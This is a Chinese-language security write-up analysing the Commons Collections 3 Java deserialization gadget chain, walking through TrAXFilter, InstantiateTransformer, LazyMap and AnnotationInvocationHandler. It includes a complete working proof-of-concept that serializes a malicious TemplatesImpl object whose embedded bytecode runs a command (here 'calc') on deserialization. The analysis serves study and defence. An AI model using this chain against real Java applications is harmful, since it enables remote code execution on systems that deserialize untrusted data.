文章首發:Java安全之Commons Collections3分析html
在學習完成前面的CC1鏈和CC2鏈後,其實再來看CC3鏈會比較輕鬆。CC1的利用鏈是java
Map(Proxy).entrySet()
觸發AnnotationInvocationHandler.invoke()
,而CC2鏈的利用鏈是經過InvokerTransformer.transform()
調用newTransformer
觸發RCE。這裏就不說這麼詳細感興趣能夠看前面幾篇文章。據說CC3鏈是CC1和CC2鏈的結合體。下面來分析一下CC3鏈。apache
在CC3利用鏈的構造裏面其實沒有用到不少的新的一些知識點,可是有用到新的類,仍是須要記錄下來。數組
首先仍是查看一下構造方法。安全
在查看下面的代碼的時候會發現他的transform
方法很是的有意思。
app
transform
方法會去使用反射實例化一個對象而且返回。ide
查看TrAXFilter
的構造方法,會發現更有意思的事情學習
_transformer = (TransformerImpl) templates.newTransformer();
調用了傳入參數的newTransformer()
方法。在CC2鏈分析的時候,使用的是反射調用newTransformer
,newTransformer
調用defineTransletClasses()
。最後再調用_class.newInstance()
實例化_class
對象。那麼若是是使用TrAXFilter
的話,就不須要InvokerTransformer
的transform
方法反射去調用了。this
package com.test; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import javassist.CannotCompileException; import javassist.ClassPool; import javassist.CtClass; import javassist.NotFoundException; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.map.LazyMap; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.*; import java.util.HashMap; import java.util.Map; public class cc1 { public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IOException, IllegalAccessException, InvocationTargetException, InstantiationException, NotFoundException, CannotCompileException, NoSuchFieldException { String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; ClassPool classPool=ClassPool.getDefault(); classPool.appendClassPath(AbstractTranslet); CtClass payload=classPool.makeClass("CommonsCollections333333333"); payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); byte[] bytes=payload.toBytecode(); Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance(); Field field=templatesImpl.getClass().getDeclaredField("_bytecodes"); field.setAccessible(true); field.set(templatesImpl,new byte[][]{bytes}); Field field1=templatesImpl.getClass().getDeclaredField("_name"); field1.setAccessible(true); field1.set(templatesImpl,"test"); Transformer[] transformers=new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl}) }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); Map map=new HashMap(); Map lazyMap= LazyMap.decorate(map,chainedTransformer); Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap); Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler); Object object=constructor.newInstance(Override.class,map1); ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out")); outputStream.writeObject(object); outputStream.close(); ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out")); inputStream.readObject(); } }
上面是一段POC代碼,先來分析一下,POC爲何要這樣去構造。3d
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; ClassPool classPool=ClassPool.getDefault(); classPool.appendClassPath(AbstractTranslet); CtClass payload=classPool.makeClass("CommonsCollections22222222222"); payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); byte[] bytes=payload.toBytecode();
先來執行一遍看一下執行的結果
可以執行成功而且彈出計算器。
其實看到代碼前面部分,和CC2利用鏈的構造是如出一轍的。在CC2鏈中分析文章裏面講到過。這裏就來簡單概述一下。
這裏是採用了Javassist
方式建立一個類,而後設置該類的主體爲Runtime.exec("clac.exe")
,設置完成後,將該類轉換成字節碼。
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance(); Field field=templatesImpl.getClass().getDeclaredField("_bytecodes"); field.setAccessible(true); field.set(templatesImpl,new byte[][]{bytes}); Field field1=templatesImpl.getClass().getDeclaredField("_name"); field1.setAccessible(true); field1.set(templatesImpl,"test");
反射獲取TemplatesImpl
類的_bytecodes
成員變量,設置值爲上面使用Javassist
類轉換後的字節碼。
反射獲取TemplatesImpl
類的_name
成員變量,設置值爲test。
Transformer[] transformers=new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl}) }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
ConstantTransformer
在調用transform
方法的時候,會遍歷的去調用數組裏面transform
方法。而且將執行結果傳入到第二次遍歷執行的參數裏面。
第一次執行this.iTransformers[i]
爲ConstantTransformer
。因此,調用的是ConstantTransformer
的transform
方法該方法是直接返回傳入的對象。這裏返回了個TrAXFilter.class
對象。
而在第二次遍歷執行的時候傳入的就是TrAXFilter.class
對象,而後再反射的去獲取方法,使用newInstance
實例化一個對象而且進行返回。
Map map=new HashMap(); Map lazyMap= LazyMap.decorate(map,chainedTransformer);
這裏是將上面構造好的ChainedTransformer
的實例化對象,傳入進去。在調用lazyMap
的get方法的時候,就會去調用構造好的ChainedTransformer
對象的transform
方法。
那麼下面就會引出lazyMap
的get方法的調用問題,再來看下面一段代碼。
Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap); Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler); Object object=constructor.newInstance(Override.class,map1);
反射建立了一個AnnotationInvocationHandler
對象,傳入Override.class
和lazyMap
的對象,並使用AnnotationInvocationHandler
做爲調用處理器,爲lazyMap
作一個動態代理。關於這裏爲何要傳入一個Override.class
的問題,其實由於AnnotationInvocationHandler
原本就是一個處理註解的類,構造方法的第⼀個參數是⼀個Annotation類類型參數,第二個是map類型參數(全部的註解類型都繼承自這個Annotation接口)。在這裏面無論傳入的是Retention.class
仍是Override.class
都是可行的。
這的lazyMap
做爲被代理的對象後,調用任意的方法都會去執行調用處理器的invoke
方法。AnnotationInvocationHandler
實現了InvocationHandler
,能夠被看成調用處理器傳入。而咱們在這時候調用lazyMap
的任意方法的話,就會執行一次AnnotationInvocationHandler
中的invoke
方法。而在AnnotationInvocationHandler
的invoke
方法中就會調用get方法。
在調用get方法後又回到了前面說到的地方,這裏就會去調用transform
方法去完成後面的命令執行。這裏先不細說。
在分析完POC代碼後其實並無去看到一個完整的調用鏈,這裏有必要去調試一遍。
先在AnnotationInvocationHandler
的readobject
方法中去打個斷點進行調試分析
在這裏能夠看到這裏的this.memberValues
的值爲被代理的lazyMap
的對象,調用了lazyMap
的entrySet
方法。那麼這時候被代理對象的調用處理器的invoke
方法會執行。前面說過使用的AnnotationInvocationHandler
做爲調用處理器,這裏調用的就是AnnotationInvocationHandler
的invoke
方法,跟進一下invoke
方法。
invoke
方法在內部調用了lazyMap
的get方法,再來跟進一下get方法
到這裏其實就能看到了 this.factory.transform(key);
,調用了transform
方法,在這裏的this.factory
爲ChainedTransformer
的實例化對象。再來跟進一下transform
方法就能看到ChainedTransformer
的transform
內部的調用結構。
在POC構造的時候爲ChainedTransformer
這個對象傳入了一個數組,數組的第一值爲ConstantTransformer
實例化對象,第二個爲InstantiateTransformer
實例化對象。
因此在這裏第一次遍歷this.iTransformers[i]
的值爲ConstantTransformer
。ConstantTransformer
的transform
會直接返回傳入的對象。在POC代碼構造的時候,傳入的是TrAXFilter
對象,因此在這裏會直接進行返回TrAXFilter
,而且會做爲第二次遍歷的傳參值。
而在第二次遍歷的時候,this.iTransformers[i]
的值爲InstantiateTransformer
的實例化對象。因此調用的是InstantiateTransformer
的transform
方法而且傳入了TrAXFilter
對象。跟進一下InstantiateTransformer
的transform
方法。
這裏實際上是比較有意思的,剛剛傳入的是TrAXFilter
對象,因此這裏的input爲TrAXFilter
,this.iParamTypes
爲Templates
,this.iArgs
爲構造好的惡意TemplatesImpl
實例化對象。(這裏之因此說他是惡意的TemplatesImpl
對象是由於在前面使用反射將他的_bytecodes
設置成了一個使用javassist
動態建立的惡意類的字節碼)
該transform
方法中使用getConstructor
方法獲取TrAXFilter
參數爲Templates
的構造方法。
使用該構造方法建立一個對象,而且傳入惡意的TemplatesImpl
實例化對象。在該構造方法當中會調用TemplatesImpl
的newTransformer
方法。跟進一下newTransformer
方法。
newTransformer
方法內部調用了getTransletInstance
方法再跟進一下。
這裏能夠看到先是判斷了_name
的值是否爲空,爲空的話就會執行返回null,不向下執行。這也是前面爲何使用反射獲取而且修改_name
值的緣由。
下面一步是判斷_class
是否爲空,顯然咱們這裏的_class
值是null,這時候就會調用defineTransletClasses
方法,跟進一下。
下面標註出來這段是_bytecodes
對_class
進行賦值,這裏的_bytecodes
的值是使用javassist
動態建立的惡意類的字節碼 執行完後,來到下一步。
這裏會對該字節碼進行調用newInstance
方法實例化一個對象,而後就能夠看到命令執行成功。
關於這個爲何調用newInstance
實例化一個對象,命令就直接執行成功的問題,其實個人在CC2鏈分析裏面也說到過,主要仍是看使用javassist
動態建立一個類的時候,他是怎麼去構造的。
ClassPool classPool=ClassPool.getDefault(); classPool.appendClassPath(AbstractTranslet); CtClass payload=classPool.makeClass("CommonsCollections22222222222"); payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); payload.writeFile("./");
先將該類寫出來到文件中,而後再去查看。
看到這個其實就一目瞭然了,使用setBody
設置主體的時候,代碼實際上是插入在靜態代碼塊中的。靜態代碼塊的代碼在實例化對象的時候就會進行執行。
AnnotationInvocationHandler.readobject->(proxy)lazyMap.entrySet ->AnnotationInvocationHandler.invoke->lazyMap.get ->ChainedTransformer.transform->ConstantTransformer.transform ->InstantiateTransformer.transform->TrAXFilter(構造方法) ->TemplatesImpl.newTransformer->TemplatesImpl.getTransletInstance ->TemplatesImpl.defineTransletClasses ->(動態建立的類)cc2.newInstance()->Runtime.exec()
其實在調試CC3這條利用鏈的時候,會發現前半部分使用的是CC2利用鏈的POC代碼,然後半部分則是CC1的利用鏈代碼。調試過這兩條利用鏈的話,調試CC3這條利用鏈會比較簡單易懂。
在寫這篇文的時候,第一次剛碼完字,電腦就藍屏了。從新打開文件的時候,文章的文件也清空了。只能重寫一遍,可是重寫完後,發現雖然字數也差很少,可是感受細節點的地方仍是少了東西,可是又不知道具體在哪些地方少了。